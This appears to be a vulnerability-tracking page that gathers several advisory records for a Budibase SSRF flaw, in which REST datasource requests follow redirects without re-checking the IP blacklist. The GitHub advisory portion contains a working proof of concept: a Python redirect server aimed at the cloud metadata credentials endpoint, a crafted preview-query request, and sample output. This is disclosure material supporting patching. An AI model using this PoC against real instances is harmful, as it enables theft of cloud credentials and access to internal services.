Budibase: SSRF Bypass via HTTP Redirect in REST Datasource Integration

CISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.

No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.

Budibase is an open-source low-code platform. Prior to 3.38.1, the REST datasource integration (packages/server/src/integrations/rest.ts) follows HTTP redirects without re-checking the IP blacklist, allowing an authenticated Builder to access internal services (cloud metadata, databases) by redirecting through an attacker-controlled server. This vulnerability is fixed in 3.38.1.

Source published

27 May 2026 17:10:53 UTC

Source modified

28 May 2026 14:02:17 UTC

Saved here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · 7.7 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Budibase is an open-source low-code platform. Prior to 3.38.1, the REST datasource integration (packages/server/src/integrations/rest.ts) follows HTTP redirects without re-checking the IP blacklist, allowing an authenticated Builder to access internal services (cloud metadata, databases) by redirecting through an attacker-controlled server. This vulnerability is fixed in 3.38.1.

Source published

May 27, 2026, 5:10:53 PM (timezone not stated)

Source modified

May 28, 2026, 2:02:17 PM (timezone not stated)

Saved here

14 Nov 2026 00:09:25 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

EUVD CVSS 3.1 · 7.7 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Budibase is an open-source low-code platform. Prior to 3.38.1, the REST datasource integration (packages/server/src/integrations/rest.ts) follows HTTP redirects without re-checking the IP blacklist, allowing an authenticated Builder to access internal services (cloud metadata, databases) by redirecting through an attacker-controlled server. This vulnerability is fixed in 3.38.1.

Source published

27 May 2026 18:16:25 UTC

Source modified

17 Jun 2026 10:52:29 UTC

Saved here

25 Oct 2026 12:17:14 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · [email protected] · Secondary · 7.7 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

### Summary The REST datasource integration follows HTTP redirects without re-checking the IP blacklist, allowing an authenticated Builder to access internal services (cloud metadata, databases) by redirecting through an attacker-controlled server. The same vulnerability class was already patched in automation steps (`fetchWithBlacklist` in `packages/server/src/automations/steps/utils.ts`) but the REST integration was missed. ### Details **Vulnerable file:** `packages/server/src/integrations/rest.ts`, lines 754-778 The `_req()` method checks the request URL against the IP blacklist at line 754, then calls `fetch(url, input)` at line 778. No `redirect: "manual"` option is set, so undici's fetch defaults to `redirect: "follow"`, automatically following HTTP 301/302/307 redirects **without re-validating the redirect target against the blacklist**. ```typescript // Line 754 — blacklist check on original URL only if (await blacklist.isBlacklisted(url)) { throw new Error("URL is blocked or could not be resolved safely.") } // Line 778 — fetch follows redirects, NO re-check on redirect target response = await fetch(url, input) ``` The automation steps already implement the correct fix in `packages/server/src/automations/steps/utils.ts` (lines 100-136) via `fetchWithBlacklist()`, which sets `redirect: "manual"` and re-checks the blacklist on every redirect hop. The REST integration does not use this safe wrapper. Relevant prior fix commits on the automation side: - `6cfa3bcca3` — "fix(server): enforce outbound blacklist in webhook automation steps" - `e7d47625be` — "Fix automation webhook blacklist redirect bypass" ### PoC **Step 1 — Set up a redirect server (attacker-controlled):** ```python from http.server import HTTPServer, BaseHTTPRequestHandler class RedirectHandler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(302) self.send_header('Location', 'http://169.254.169.254/latest/meta-data/iam/security-credentials/') self.end_headers() HTTPServer(('0.0.0.0', 8080), RedirectHandler).serve_forever() ``` **Step 2 — As a Builder, create a REST datasource pointing to the attacker's server.** **Step 3 — Preview a query:** ```http POST /api/queries/preview HTTP/1.1 Host: <budibase-instance> Content-Type: application/json Cookie: <builder-session> x-budibase-app-id: <app-id> { "datasourceId": "<rest-datasource-id>", "queryVerb": "read", "fields": { "path": "http://<attacker-ip>:8080/", "queryString": "", "headers": {}, "bodyType": "none", "requestBody": "" }, "parameters": [], "transformer": "return data", "name": "ssrf-test", "schema": {} } ``` **Step 4 — The blacklist check passes (attacker IP is public), undici follows the 302 redirect to the internal target, and the response is returned:** ```json { "rows": [{ "couchdb": "Welcome", "version": "3.3.3", "uuid": "a84d3353128485a22973a759df2387bc" }] } ``` Tested and confirmed on Budibase v3.34.6 running locally with default blacklist active. ### Impact - **Cloud credential theft:** On AWS/GCP/Azure instances, attacker accesses `169.254.169.254` to steal IAM credentials or service account tokens. - **Internal service access:** CouchDB (`:4005`), Redis (`:6379`), MinIO (`:4004`), and other internal services become accessible - **Bypasses explicit security control:** The IP blacklist exists specifically to prevent this, and works correctly for direct access — only the redirect path is unprotected. - **Already-known vulnerability class:** This was previously identified and fixed in automation steps (commits `6cfa3bcca3`, `e7d47625be`) but the REST datasource integration was not patched.

Source published

15 May 2026 17:53:08 UTC

Source modified

10 Sep 2026 03:50:46 UTC

Saved here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Publisher rating · HIGH